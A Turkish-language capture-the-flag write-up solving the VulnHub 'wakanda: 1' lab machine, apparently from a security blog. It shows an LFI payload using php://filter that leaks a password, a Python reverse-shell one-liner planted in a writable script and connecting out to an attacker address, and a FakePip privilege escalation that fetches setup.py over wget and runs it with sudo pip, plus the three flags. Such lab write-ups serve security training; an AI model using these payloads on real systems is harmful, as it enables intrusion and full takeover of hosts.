Selam Arkadaşlar, bugün vulnhub’tan indirdiğim wakanda: 1 zafiyetli sanal makinasının çözümünü paylaşacağım.
Zafiyetli sanal makinayı indirmek için:
https://www.vulnhub.com/entry/wakanda-1,251/
Açıklamada 3 adet flag olduğu belirtilmiş. flag1.txt, flag2txt ve root.txt.
Hadi işe koyulalım. Her zaman yaptığımız gibi önce hedef makinanın IP adresini bulacağız.
Netdiscover ile IP adresini tespit edelim.
Zafiyetli sanal makinamızın IP adresi: 10.0.2.6
Makina üzerinde çalışan servislerin durumunu öğrenmek için nmap taraması yapalım.
“nmap -A -O -Pn -n -v 10.0.2.6” komutu ile tarama başlatalım.
Nmap scan report for 10.0.2.6
Host is up (0.00045s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Vibranium Market
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 33175/tcp status
|_ 100024 1 46635/udp status
3333/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 1c:98:47:56:fc:b8:14:08:8f:93:ca:36:44:7f:ea:7a (DSA)
| 2048 f1:d5:04:78:d3:3a:9b:dc:13:df:0f:5f:7f:fb:f4:26 (RSA)
| 256 d8:34:41:5d:9b:fe:51:bc:c6:4e:02:14:5e:e1:08:c5 (ECDSA)
|_ 256 0e:f5:8d:29:3c:73:57:c7:38:08:6d:50:84:b6:6c:27 (ED25519)
MAC Address: 08:00:27:3C:1E:DB (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 – 4.9
Uptime guess: 0.004 days (since Mon Aug 20 16:05:56 2018)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Tarama sonucunda 80. portta Apache, 3333 SSH çalıştığının bilgisi öğrendik.
Nikto ve dirb araclarıyla neler bulabiliyoruz bir bakalım.
Nikto aracı ile yapılan taramada bir sonuç çıkmadı. Dirb aracı ile dizin taramasında ise resimdeki sonuçlar çıktı.
Listenen dizinlere bir göz attığımda ise onlardan da elde var sıfır 🙂
Sayfayı görüntülediğimiz de resimdeki ekran ile karşılanıyordu.
Kaynak kodu incelediğimde ise, lang parametresi dikkat çekiyordu.
http://10.0.2.6/?lang=fr parametresi verildiğinde sayfanın dili değişiyor.
Burada lang parametresine fr değerini verdiğimizde, sonunda .php eklenip fr.php dosyası çağrılıyor. LFI deneyelim. PHP wrapperi kullanarak index.php dosyasını çekmeye çalışalım. php://filter/convert.base64-encode/resource=index.php
“curl http://10.0.2.6/?lang=php://filter/convert.base64-encode/resource=index.php | base64 -d” komutu ile index.php dosyasını çekelim.
index.php dosyasında:
password =”Niamey4Ever227!!!” bilgisine eriştik.
Bu parolayı not edip, nmap taraması sonucunda SSH servisinin açık olduğunu da biliyoruz bu nedenle username değeri için tekrar bir göz atalım.
username olarak mamadou ile giriş yapmayı deneyelim. SSH servisi 3333. nolu portta çalışıyordu.
SSH ile giriş yaptığımızda python shell’e düştük.
“import pty; pty.spawn(“/bin/bash”)” ile bash’e düşelim.
flag1.txt’i okuyalım.
1. flag’ımıza eriştik.
Flag 1 : d86b9ad71ca887f4dd1dac86ba1c4dfc
Sistem içinde biraz dolandıktan sonra, /etc/passwd dosyasını okuyalım.
devops adında bir kullanıcı daha olduğunu öğrendik. Home dizinine bakalım.
flag2.txt dosyası devops kullanıcısının home dizini altında fakat yetkimiz olmadığından okuyamıyoruz.
“find / -user devops 2>/dev/null” ile devops kullanıcısının dosyalarına bir göz atalım
/srv/.antivirus.py dosyasına bir göz atalım. dosyaya okuma ve yazma yetkimiz var.
“import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((“10.0.0.1”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);”
python kodu ile reverse shell alalım.
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
“nc -lvp ile 4444” komutu ile 4444 portumuzu dinlemeye alalım.
Belli bir süre bekledikten sonra shell düşüyor.
“python -c ‘import pty; pty.spawn(“/bin/bash”)'” komutu ile interaktif shell alalım.
2. flag’ımız home dizini altındaydı, okuyalım.
2. flag’ımız karşımızda:
Flag 2 : d8ce56398c88e1b4d9e5f83e64c79098
Sıra geldi root erişimine sahip olmaya, “sudo -l” ile pip servisinin root haklarında çalıştığını görüyoruz.
Fakepip ile root erişimine sahip olabiliriz.
https://github.com/0x00-0x00/FakePip
“git clone https://github.com/0x00-0x00/FakePip.git” localimize alalım.
Ardından setup.py dosyasında rhost’u reverse shell alacağımız IP adresini tanımlayıp, nc ile dinleme moduna geçelim.
hedef sistemde wget ile setup.py dosyasını sisteme indirelim.
“wget http://10.0.2.4:8000/setup.py”
ardından:
“sudo /usr/bin/pip install . –upgrade –force-reinstall” komutunu çalıştırdığımızda dinlediğimiz porta, root erişiminde oturum elde ediyoruz.
root kullanıcısının home dizini altında root.txt dosyasını okuyalım.
3. ve son root flag’ımız:
Root Flag: 821ae63dbe0c573eff8b69d451fb21bc
Başka bir yazıda görüşmek üzere…